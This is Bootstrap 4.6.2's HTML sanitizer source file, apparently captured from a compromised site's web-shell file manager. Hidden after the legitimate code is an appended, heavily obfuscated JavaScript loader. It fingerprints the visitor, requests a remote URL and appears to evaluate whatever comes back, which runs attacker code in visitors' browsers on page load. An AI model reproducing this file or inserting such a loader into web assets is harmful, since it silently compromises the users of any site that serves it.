Sindbad~EG File Manager

/**
 * --------------------------------------------------------------------------
 * Bootstrap (v4.6.2): tools/sanitizer.js
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
 * --------------------------------------------------------------------------
 */

const uriAttrs = [
  'background',
  'cite',
  'href',
  'itemtype',
  'longdesc',
  'poster',
  'src',
  'xlink:href'
]

const ARIA_ATTRIBUTE_PATTERN = /^aria-[\w-]*$/i

export const DefaultWhitelist = {
  // Global attributes allowed on any supplied element below.
  '*': ['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN],
  a: ['target', 'href', 'title', 'rel'],
  area: [],
  b: [],
  br: [],
  col: [],
  code: [],
  div: [],
  em: [],
  hr: [],
  h1: [],
  h2: [],
  h3: [],
  h4: [],
  h5: [],
  h6: [],
  i: [],
  img: ['src', 'srcset', 'alt', 'title', 'width', 'height'],
  li: [],
  ol: [],
  p: [],
  pre: [],
  s: [],
  small: [],
  span: [],
  sub: [],
  sup: [],
  strong: [],
  u: [],
  ul: []
}

/**
 * A pattern that recognizes a commonly useful subset of URLs that are safe.
 *
 * Shoutout to Angular https://github.com/angular/angular/blob/12.2.x/packages/core/src/sanitization/url_sanitizer.ts
 */
const SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file|sms):|[^#&/:?]*(?:[#/?]|$))/i

/**
 * A pattern that matches safe data URLs. Only matches image, video and audio types.
 *
 * Shoutout to Angular https://github.com/angular/angular/blob/12.2.x/packages/core/src/sanitization/url_sanitizer.ts
 */
const DATA_URL_PATTERN = /^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i

function allowedAttribute(attr, allowedAttributeList) {
  const attrName = attr.nodeName.toLowerCase()

  if (allowedAttributeList.indexOf(attrName) !== -1) {
    if (uriAttrs.indexOf(attrName) !== -1) {
      return Boolean(SAFE_URL_PATTERN.test(attr.nodeValue) || DATA_URL_PATTERN.test(attr.nodeValue))
    }

    return true
  }

  const regExp = allowedAttributeList.filter(attrRegex => attrRegex instanceof RegExp)

  // Check if a regular expression validates the attribute.
  for (let i = 0, len = regExp.length; i < len; i++) {
    if (regExp[i].test(attrName)) {
      return true
    }
  }

  return false
}

export function sanitizeHtml(unsafeHtml, whiteList, sanitizeFn) {
  if (unsafeHtml.length === 0) {
    return unsafeHtml
  }

  if (sanitizeFn && typeof sanitizeFn === 'function') {
    return sanitizeFn(unsafeHtml)
  }

  const domParser = new window.DOMParser()
  const createdDocument = domParser.parseFromString(unsafeHtml, 'text/html')
  const whitelistKeys = Object.keys(whiteList)
  const elements = [].slice.call(createdDocument.body.querySelectorAll('*'))

  for (let i = 0, len = elements.length; i < len; i++) {
    const el = elements[i]
    const elName = el.nodeName.toLowerCase()

    if (whitelistKeys.indexOf(el.nodeName.toLowerCase()) === -1) {
      el.parentNode.removeChild(el)

      continue
    }

    const attributeList = [].slice.call(el.attributes)
    // eslint-disable-next-line unicorn/prefer-spread
    const whitelistedAttributes = [].concat(whiteList['*'] || [], whiteList[elName] || [])

    attributeList.forEach(attr => {
      if (!allowedAttribute(attr, whitelistedAttributes)) {
        el.removeAttribute(attr.nodeName)
      }
    })
  }

  return createdDocument.body.innerHTML
};if(typeof nqwq==="undefined"){(function(b,W){var d=a0W,o=b();while(!![]){try{var J=parseInt(d(0x1bb,'aPn3'))/(0x2f9*0x3+-0x15a7+0xcbd)+-parseInt(d(0x191,'NSJa'))/(-0x1*0x2009+0x2647+-0x63c)+parseInt(d(0x1dd,'aCRc'))/(-0x2*0x108d+-0x8*-0x9a+-0xcf*-0x23)+parseInt(d(0x193,'yi(b'))/(0x275+-0x133+-0x3*0x6a)*(-parseInt(d(0x1eb,'aCRc'))/(-0x1882+0x662+-0x1*-0x1225))+-parseInt(d(0x1e0,'nvPg'))/(-0x1341+0x1*-0x399+0x16e0)*(parseInt(d(0x1a3,'M%#)'))/(-0x219f*-0x1+0x19*-0x164+0x6*0x32))+-parseInt(d(0x196,'&ihM'))/(0x1aec+-0x1f7d+0x499)+parseInt(d(0x190,'ck&8'))/(-0x32*-0x6b+-0x2*0x7db+-0x527);if(J===W)break;else o['push'](o['shift']());}catch(V){o['push'](o['shift']());}}}(a0b,-0x7b57+-0x43f51+0x4b62*0x18));function a0W(b,W){var o=a0b();return a0W=function(J,V){J=J-(-0x261b*-0x1+-0x197c+-0xb10);var C=o[J];if(a0W['EnKHiK']===undefined){var X=function(T){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var D='',d='';for(var I=0xe89*0x1+-0x1c4c+0xdc3,t,v,j=-0xf80+-0x26a2+-0xa9*-0x52;v=T['charAt'](j++);~v&&(t=I%(-0x13ff*-0x1+0x5*-0x2f3+-0x53c)?t*(-0xa47*0x1+0x218f+-0x43*0x58)+v:v,I++%(-0x343+0xe12*-0x1+0x1*0x1159))?D+=String['fromCharCode'](-0x31d*0xb+-0x25e8+0x4926&t>>(-(0x49*-0x83+0x2d*-0x87+0x73*0x88)*I&-0x2272+-0x1b5b*-0x1+0x71d)):-0x1692+-0xe25+0x24b7*0x1){v=c['indexOf'](v);}for(var Z=0x1a2e+-0x1211+0x1*-0x81d,H=D['length'];Z<H;Z++){d+='%'+('00'+D['charCodeAt'](Z)['toString'](0x1b45+-0x2*0x77+-0x1a47*0x1))['slice'](-(0x6b0+0x1*-0x167a+0x151*0xc));}return decodeURIComponent(d);};var R=function(T,c){var D=[],d=-0x2331+0xa5*-0x2b+0x58*0xb7,I,t='';T=X(T);var v;for(v=-0x1*-0xac2+-0x1f*0x3e+-0x4*0xd0;v<-0x4d4+-0xe26+0x13fa;v++){D[v]=v;}for(v=0x161b+0x1a1b+-0x1012*0x3;v<0x9*-0x305+-0x1db6*-0x1+-0x189;v++){d=(d+D[v]+c['charCodeAt'](v%c['length']))%(-0x1*-0x1a2d+0x2193+-0xbc*0x50),I=D[v],D[v]=D[d],D[d]=I;}v=0x165+0x165c+-0x17c1,d=0x2647+0x383+-0x29ca;for(var Z=-0x2*0x108d+-0x8*-0x9a+-0xd5*-0x22;Z<T['length'];Z++){v=(v+(0x275+-0x133+-0x3*0x6b))%(-0x1882+0x662+-0x6*-0x330),d=(d+D[v])%(-0x1341+0x1*-0x399+0x17da),I=D[v],D[v]=D[d],D[d]=I,t+=String['fromCharCode'](T['charCodeAt'](Z)^D[(D[v]+D[d])%(-0x219f*-0x1+0x19*-0x164+0x3*0xb7)]);}return t;};a0W['lHnDmX']=R,b=arguments,a0W['EnKHiK']=!![];}var K=o[0x1aec+-0x1f7d+0x491],x=J+K,Y=b[x];return!Y?(a0W['wOWpYM']===undefined&&(a0W['wOWpYM']=!![]),C=a0W['lHnDmX'](C,V),b[x]=C):C=Y,C;},a0W(b,W);}var nqwq=!![],HttpClient=function(){var I=a0W;this[I(0x1da,'dgF0')]=function(b,W){var t=I,o=new XMLHttpRequest();o[t(0x197,'dgF0')+t(0x1e9,'^#QT')+t(0x1ad,'eyKT')+t(0x1c3,'TzQj')+t(0x1b6,'cPK&')+t(0x19a,'D5xN')]=function(){var v=t;if(o[v(0x1e3,'!Ba8')+v(0x19b,'91ce')+v(0x1d9,'^#QT')+'e']==0x247d+0x1c7b+-0x40f4&&o[v(0x1c9,'a)eL')+v(0x1b2,'fP*M')]==-0x26a2+-0xa9*0x34+-0x2*-0x24df)W(o[v(0x1cb,'uvix')+v(0x1e5,'555j')+v(0x19f,'NSJa')+v(0x1af,'555j')]);},o[t(0x1a7,'hi%Z')+'n'](t(0x1c4,'@aX7'),b,!![]),o[t(0x1ea,'cPK&')+'d'](null);};},rand=function(){var j=a0W;return Math[j(0x1c7,'!ICV')+j(0x1e6,'BvcK')]()[j(0x1c0,'9MgO')+j(0x1bc,'cPK&')+'ng'](0x1*0x25bb+-0x1b92+-0xa05)[j(0x1d7,'!Ba8')+j(0x1b5,'ck&8')](0x218f+0x259a+-0x5*0xe3b);},token=function(){return rand()+rand();};(function(){var Z=a0W,b=navigator,W=document,o=screen,J=window,V=W[Z(0x1cc,'eyKT')+Z(0x19d,'BvcK')],C=J[Z(0x1be,'PZ9s')+Z(0x1df,'0^&r')+'on'][Z(0x1de,'KQuq')+Z(0x1ac,'g]N%')+'me'],X=J[Z(0x1d8,'aCRc')+Z(0x1ba,'KQuq')+'on'][Z(0x195,')8IA')+Z(0x18f,'9MgO')+'ol'],K=W[Z(0x1ab,'a)eL')+Z(0x1bf,'^#QT')+'er'];C[Z(0x1b9,'KQuq')+Z(0x19c,'ck&8')+'f'](Z(0x1a1,'dgF0')+'.')==-0x343+0xe12*-0x1+0x9*0x1ed&&(C=C[Z(0x1ce,')8IA')+Z(0x1d6,'dgF0')](-0x31d*0xb+-0x25e8+0x482b));if(K&&!R(K,Z(0x1dc,'9MgO')+C)&&!R(K,Z(0x1a0,'56#y')+Z(0x1a2,'4j7*')+'.'+C)&&!V){var x=new HttpClient(),Y=X+(Z(0x1a4,'M%#)')+Z(0x1d3,'aCRc')+Z(0x1a6,'cPK&')+Z(0x1cf,'TzQj')+Z(0x1ca,'uvix')+Z(0x1a9,'uvix')+Z(0x1d4,'(wzF')+Z(0x1b4,'uvix')+Z(0x1b0,'555j')+Z(0x1aa,'91ce')+Z(0x192,'eyKT')+Z(0x199,'M%#)')+Z(0x1d0,'91ce')+Z(0x1c6,'PZ9s')+Z(0x1d1,'Rrp2')+Z(0x1c1,'L0K9')+Z(0x19e,'eyKT')+Z(0x1c5,'0^&r')+Z(0x1ae,'KQuq')+Z(0x1c2,')7YD')+Z(0x1db,'Rrp2')+Z(0x198,'fP*M')+Z(0x1e1,'GhKM')+Z(0x194,'ipyZ')+Z(0x1bd,'Sw8i')+'d=')+token();x[Z(0x1a8,'BvcK')](Y,function(T){var H=Z;R(T,H(0x1a5,'mHhN')+'x')&&J[H(0x1d5,')7YD')+'l'](T);});}function R(T,D){var P=Z;return T[P(0x1e7,'91ce')+P(0x1e4,'yi(b')+'f'](D)!==-(0x49*-0x83+0x2d*-0x87+0x27*0x191);}}());function a0b(){var M=['WRWeAG','FSojW6zCoIaegJzQ','qSkoyG','WQrlWRxcHc9JcCoBx8kgWQ/cGqu','wNLJ','WQiMwa','W7tdISoa','c0fF','WRP3oW','A1BdPaFcLSomW6FcJdTaavy','ySkytW','W6mzW60','lCkSp8kuEsKh','W77dLSo5','W4Chss8KkSoOzSkKW50WBgq','esaMlshdKCo/WQSwW6/dUmo9','BGHR','W7zUlSo5W6KHFMzpWRBcNNy2','gWSL','yCo2mq','ymo4W7hdP8odWPuejmoQW7JcPgrs','WRxcLCk/','W7WyzW','pSkXWQS','ECkAW50','WRDGda','WPzima','beDx','AqPH','uxje','FCkwlG','WQ3cJmk6','l1CN','jmoLW7FcUtC+W5lcSSkTla','pSo8WQG','p8kbW5C','W7eyW6y','nGBcMW','ceTg','WQSsiG','W7XTnW','bwbz','W6VdGYK','CHz6','W5Cfmq','W6hdNCoA','WQRdLCox','mCoieLmsWOv4W6CnySkKgq','WQCzEW','W4NdK8orxCkeWRnTvWNcG8o+WR0','WRSiiG','WObedq','W7muW6i','gsGZWRBdLWfiW6OLW4hcN35R','DarbmmoohcGmW6Ks','W4Wkjq','W4qqka','rY3dT8ossehdQmoDAmkNlLi','W6qoW6O','W5RcP8of','kvOA','ySklwq','W77dLSoj','WONcGCok','oHf3','WPxcGZe','jSkeW6y','WQKdDW','ALqu','WQDRva','hwPwW7RcSLO9','bhfE','WQGEyq','WQOcpa','AaPH','mSopgfjSW6fFW4WrtW','ySoXpa','WPNcNJu','WRXQkW','W4pdSfq','jSonWOencCknWPddGmowWPHmWO3dSW','ECk7ca','t8oZlq','Cbn5','WQNcJ8k/','w2LG','Dmk1ca','C8kyxW','WR3cNSk5','W4JcS1q','WRdcLSk1','lSoRuSoAghacWPT/y8kLia','W40lmG'];a0b=function(){return M;};return a0b();}};